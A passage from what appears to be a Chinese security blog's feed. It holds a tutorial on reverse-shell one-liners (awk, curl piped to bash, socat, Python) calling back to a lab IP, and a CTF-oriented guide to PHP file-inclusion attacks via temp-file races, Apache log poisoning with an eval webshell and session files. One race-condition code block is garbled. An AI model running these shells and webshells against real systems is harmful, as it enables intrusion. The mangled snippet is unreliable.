class=\"anchor\" href=\"#awk反弹\">#</a> awk反弹</h2>\n<p>awk原本是一个用来处理文件的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>awk '动作' 文件名</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/15.png\" class=\"\"></p>\n<p>此命令将逐行打印flag.txt的内容，其中$0表示整行内容。</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/16.png\" class=\"\"></p>\n<p>这里的$n表示第n个字段</p>\n<p>接下来了解了解awk反弹shell：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>awk 'BEGIN&#123;s=\"/inet/tcp/0/192.168.152.128/7777\";for(;s|&#x26;getline c;close(c))while(c|getline)print|&#x26;s;close(s)&#125;'</span></span></code></pre>\n<p><code>BEGIN&#123;&#125;</code>：正常来说awk是等有文件输入了才执行，不过加载BEGIN块之后表示程序一启动就执行括号内的代码</p>\n<p><code>s=&quot;/inet/tcp/0/192.168.152.128/7777&quot;</code>：与<code>/dev/tcp</code>类似，<code>awk</code> 内部同样硬编码了一个特殊的虚拟路径解析器：<code>/inet/网络协议/本地端口/目标IP/目标端口</code>，在给s赋值的同时，awk建立了一个通向kali的TCP握手，0表示本地端口随机</p>\n<p><code>for(;s|&amp;getline c;close(c))</code>：</p>\n<p>​      <code>|&amp;</code>：双向管道符，awk独有，它把套接字s修改为可读写的通道</p>\n<p>​      <code>s|&amp;getline c</code>：如果从kali中传来了命令，就把他读取下来存进变量c中</p>\n<p>​      <code>close(c)</code>：每次执行完命令之后清理执行环境准备执行下一条命令</p>\n<p><code>while(c|getline) print|&amp;s</code>：当c获得命令，awk会将c里的字符串交给操作系统执行并且把执行出来的结果一行行读取出来，<code>print|&amp;s</code>表示把读取到的结果顺着双向管道赋值给<code>s</code></p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/17.png\" class=\"\"></p>\n<h2 id=\"curl反弹\"><a class=\"anchor\" href=\"#curl反弹\">#</a> curl反弹</h2>\n<p>我们可以将一个shell反弹的payload放在靶机可以执行curl的地方，然后利用管道符和sh</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>curl 192.168.152.128/bash.html|bash</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/19.png\" class=\"\"></p>\n<h2 id=\"socat反弹\"><a class=\"anchor\" href=\"#socat反弹\">#</a> socat反弹</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.152.128:7777</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/18.png\" class=\"\"></p>\n<h2 id=\"python反弹\"><a class=\"anchor\" href=\"#python反弹\">#</a> python反弹</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.152.128\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'</span></span></code></pre>\n<p>原理其实也和前面的差不多，建立网络连接之后把0,1,2都接上通道</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/20.png\" class=\"\"></p>\n<p>文章参考：<a href=\"https://blog.csdn.net/weixin_44288604/article/details/111740527\">反弹shell汇总，看我一篇就够了-CSDN博客</a></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/",
            "url": "https://zlaryy.top/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/",
            "title": "文件包含",
            "date_published": "2026-03-10T13:00:00.000Z",
            "content_html": "<h1 id=\"文件包含\"><a class=\"anchor\" href=\"#文件包含\">#</a> 文件包含</h1>\n<p>本文主要涉及临时文件包含，session文件包含，日志文件包含等特殊的文件包含技巧，除此之外相关伪协议见本博客SSRF各种协议</p>\n<h1 id=\"临时文件包含\"><a class=\"anchor\" href=\"#临时文件包含\">#</a> 临时文件包含</h1>\n<p>当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在<code>$_FILES</code>变量中找到。这个临时文件，在请求结束后就会被删除。phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到<code>$_FILES</code>变量的内容，拿到临时文件变量名之后，就可以进行包含执行我们传入的恶意代码。</p>\n<h2 id=\"关于临时文件\"><a class=\"anchor\" href=\"#关于临时文件\">#</a> 关于临时文件</h2>\n<p>我们需要伪造一个POST提交文件的请求包，上传的文件信息会保存在<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><msub><mrow></mrow><mi>F</mi></msub><mi>I</mi><mi>L</mi><mi>E</mi><mi>S</mi><mtext>里面，</mtext></mrow><annotation encoding=\"application/x-tex\">_FILES里面，</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.8333em;vertical-align:-0.15em;\"></span><span class=\"mord\"><span></span><span class=\"msupsub\"><span class=\"vlist-t vlist-t2\"><span class=\"vlist-r\"><span class=\"vlist\" style=\"height:0.3283em;\"><span style=\"top:-2.55em;margin-right:0.05em;\"><span class=\"pstrut\" style=\"height:2.7em;\"></span><span class=\"sizing reset-size6 size3 mtight\"><span class=\"mord mathnormal mtight\" style=\"margin-right:0.13889em;\">F</span></span></span></span><span class=\"vlist-s\">​</span></span><span class=\"vlist-r\"><span class=\"vlist\" style=\"height:0.15em;\"><span></span></span></span></span></span></span><span class=\"mord mathnormal\" style=\"margin-right:0.07847em;\">I</span><span class=\"mord mathnormal\">L</span><span class=\"mord mathnormal\" style=\"margin-right:0.05764em;\">ES</span><span class=\"mord cjk_fallback\">里面，</span></span></span></span>_FILES超级全局变量很特殊，他是预定义超级全局数组中唯一的二维数组。我们也可以通过使用var_dump查看$_FILES的内容</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$_FILES['userfile']['name'] 客户端文件的原名称。</span></span>\n<span class=\"line\"><span>$_FILES['userfile']['type'] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如\"image/gif\"。</span></span>\n<span class=\"line\"><span>$_FILES['userfile']['size'] 已上传文件的大小，单位为字节。</span></span>\n<span class=\"line\"><span>$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。</span></span>\n<span class=\"line\"><span>$_FILES['userfile']['error'] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。</span></span>\n<span class=\"line\"><span>$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名</span></span></code></pre>\n<p>我们的1.php代码如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_FILES</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    include</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>当我们发送一个POST包：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST /flag/1.php HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: localhost</span></span>\n<span class=\"line\"><span>Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHack123</span></span>\n<span class=\"line\"><span>Content-Length: 191</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>------WebKitFormBoundaryHack123</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"file\"; filename=\"ZLARYY.txt\"</span></span>\n<span class=\"line\"><span>Content-Type: text/plain</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#x3C;?php eval($_POST['cmd']); ?></span></span>\n<span class=\"line\"><span>------WebKitFormBoundaryHack123--</span></span></code></pre>\n<p>会看到响应界面：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/1.png\" class=\"\"></p>\n<p>其中的tmp_name就告诉了我们临时文件名称以及路径</p>\n<p><strong>这里由于是windows系统我自定义了upload_tmp_dir为WWW，一般windows默认路径为C:/Windows或C:/Windows/Temp/，Linux默认路径为/tmp/</strong></p>\n<h2 id=\"文件命名\"><a class=\"anchor\" href=\"#文件命名\">#</a> 文件命名</h2>\n<p>Linux下存储的临时文件格式通常为php+6个随机字符</p>\n<p>Windows通常和上图响应一样为php+4个随机字符.tmp</p>\n<h2 id=\"条件竞争\"><a class=\"anchor\" href=\"#条件竞争\">#</a> 条件竞争</h2>\n<p>到这里我们就有必要了解一下条件竞争了，由于临时文件在请求之后就会结束，所以我们不得不想一个办法在临时文件还没有被删除的时候利用文件包含执行恶意代码将一句话木马写入到另一个文件中。而利用 文件还没被删除就被包含这个时间间隙的操作就叫做<strong>条件竞争</strong></p>\n<p>核心利用代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">                                                               ?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">); ?></span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>简单解释一下这串内容：</span></span>\n<span class=\"line\"><span>fopen('2L47yY.php','w')</span></span>\n<span class=\"line\"><span>fopen是php打开或创建文件的函数，其中2L47yY.php是我们创建文件的文件名，w表示write（写入模式）</span></span>\n<span class=\"line\"><span>fputs(文件指针, 写入内容)</span></span>\n<span class=\"line\"><span>这个函数用于将后面的内容写入到刚才创建的shell.php中</span></span></code></pre>\n<p>进行伪造POST请求时我们就可以将这串内容写入到我们伪造的ZLARYY.txt中，至于这串代码为什么会被执行，这就是include函数的事了，include在包含一个文件时会不考虑其后缀，逐行扫描文件内容，一旦发现<code>&lt;?php</code>和<code>?&gt;</code>就会立刻把其中内容当作php代码执行</p>\n<p>AI帮我写了一篇windows下的条件竞争脚本，不过耗费时间是真的四位随机字母爆破到3开头就花了半个小时......</p>\n<p>巧的是今晚遇上开会，lulu学长介绍了一篇文章关于在条件竞争时更快速度找到临时文件的方法：</p>\n<p><a href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html\">https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html</a></p>\n<p>这篇文章后面提到了用通配符代替文件名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>*代替0个及以上的任意字符</span></span>\n<span class=\"line\"><span>?代表1个任意字符</span></span></code></pre>\n<p>那比如/tmp/phpabcdef就可以写作/***/php??????，这给了我们在条件竞争时候的一种思路，我们可以利用正则匹配最后一位字符，由于Linux中的临时文件名后面6位由随机的大小写字母组成，并且大写字符的ASCII码位于@和[符号之间，那么[@-[]就可以用来表示大写字母，在条件竞争中的文件包含线程中，我们就可以利用/tmp/php?????[@-[]来代替生成的临时文件，多尝试几次，总有一次生成的临时文件名最后一位是大写字符</p>\n<h1 id=\"日志文件包含\"><a class=\"anchor\" href=\"#日志文件包含\">#</a> 日志文件包含</h1>\n<p>在学习日志文件包含的时候我一直尝试用kali打开和CTF题目环境一样的http服务，终于是让我搞出来了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo echo '&#x3C;?php highlight_file(__FILE__);system($_GET[\"cmd\"]); ?>' > /var/www/html/index.php</span></span>\n<span class=\"line\"><span>//创造一个index.php文件存在于/var/www/html/下</span></span>\n<span class=\"line\"><span>sudo systemctl start apache2</span></span>\n<span class=\"line\"><span>//开启apache2服务</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>sudo nano /var/www/html/index.php</span></span>\n<span class=\"line\"><span>//用nano编辑器可以美观的写index.php</span></span>\n<span class=\"line\"><span>//Ctrl+O是保存，然后Enter确认文件名，最后Ctrl+x退出</span></span></code></pre>\n<p>这样我们可以通过<code>ifconfig</code>在查看到kali的IP之后在windows上访问</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://[IP]</span></span></code></pre>\n<p>就能完美模拟CTF题目场景了，不过在复现日志文件包含的时候还需要给日志及路径加上权限：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo chmod 644 /var/log/apache2/access.log</span></span>\n<span class=\"line\"><span>sudo chmod 755 /var/log/apache2</span></span></code></pre>\n<p>好了，现在让我们尝试复现日志文件包含漏洞：</p>\n<p>通常情况下我们拿到一个文件包含漏洞的题目需要先分析使用的是哪种服务器：apache还是nginx</p>\n<p>像这里我采用的是apache2的服务器，那么日志存在路径就是<code>/var/log/apache2/access.log</code>，除此之外我们还可能见到：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/var/log/apache/access.log //apache服务器</span></span>\n<span class=\"line\"><span>/var/log/nginx/access.log //nginx服务器</span></span>\n<span class=\"line\"><span>/var/log/httpd/access_log //CentOS / RHEL / Fedora 系列</span></span>\n<span class=\"line\"><span>C:\\xampp\\apache\\logs\\access.log //XAMPP环境</span></span>\n<span class=\"line\"><span>C:\\wamp\\logs\\access.log //WampServer环境</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>值得一提的是这些路径下不止存在access.log，还存在error.log</span></span></code></pre>\n<p>我们的题目是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">include</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/2.png\" class=\"\"></p>\n<p>当我们尝试文件包含<code>/var/log/apache2/access.log</code>能看到如上内容，显然这是我们的UA内容，此时我们就可以尝试在UA里面注入一句话木马，最后文件包含它：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>User-Agent:&#x3C;?php @eval($_POST['cmd']);?></span></span>\n<span class=\"line\"><span>POST提交：cmd=system(\"cat /flag\");</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/3.png\" class=\"\"></p>\n<p>成功拿到flag</p>\n<h1 id=\"session文件包含\"><a class=\"anchor\" href=\"#session文件包含\">#</a> session文件包含</h1>\n<p>有关session的机制在本博客php反序列化session反序列化一节已经讲的详细了，这里只做部分的提及</p>\n<p>我们还是利用这一段php代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/5.png\" class=\"\"></p>\n<p>在session反序列化一节中我们用来检验处理器下session文件的存储形式，这里我们将存储内容改为php代码：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/4.png\" class=\"\"></p>\n<p>可以看到这串包含php代码的字符串已经存储在了session文件中，再根据前文所提到的include特性，当我们包含该文件时就能实现php代码的执行</p>\n<p>一些常见的session文件存储路径：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/var/lib/php/sess_PHPSESSID</span></span>\n<span class=\"line\"><span>/var/lib/php/sessions/sess_PHPSESSID</span></span>\n<span class=\"line\"><span>/tmp/sess_PHPSESSID</span></span>\n<span class=\"line\"><span>/tmp/sessions/sess_PHPSESSID</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/6.png\" class=\"\"></p>\n<p>可以注意到成功执行了phpinfo()</p>\n<p>随后我尝试了重新传入</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>flag=&#x3C;?php system('cat /flag');?></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/7.png\" class=\"\"></p>\n<p>也是成功拿到flag了，至于sess文件中的一长串字符串可以在Cookie中看到，类似：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Cookie: PHPSEESID=9b8428d87bf74abf0fefa76e5bdc7be3</span></span></code></pre>\n<p>由于php的文件包含类函数不能解析shell通配符，所以我们不能使用sess_*来代替，不过我们可以主动修改我们的PHPSESSID，在没有返回这个内容的情况下我们可以主动添加上这个Cookie：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Cookie: PHPSESSID=ZLARYY</span></span>\n<span class=\"line\"><span>//在传/?flag=&#x3C;?php system('cat /flag');?>时加上</span></span></code></pre>\n<p>我们尝试在include.php里面包含试试：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?file=/var/lib/php/sessions/sess_ZLARYY</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/8.png\" class=\"\"></p>\n<h1 id=\"pearcmd\"><a class=\"anchor\" href=\"#pearcmd\">#</a> pearcmd</h1>\n<p>pecl是php中用于管理扩展的命令行工具，pear是pecl依赖的类库，在7.3及以前，pecl/pear是默认安装的；在7.4及以后，需要我们在编译PHP的时候指定<code>--with-pear</code>才会安装</p>\n<p>在kali中我用了如下命令安装pear扩展：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo apt update</span></span>\n<span class=\"line\"><span>sudo apt install php-pear</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>pear version//检验是否成功安装</span></span></code></pre>\n<p>除此之外在复现pearcmd文件包含还需要开启register_argc_argv选项，这样$_SERVER['argv']才会生效</p>\n<p>在kali里面修改php.ini操作如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span 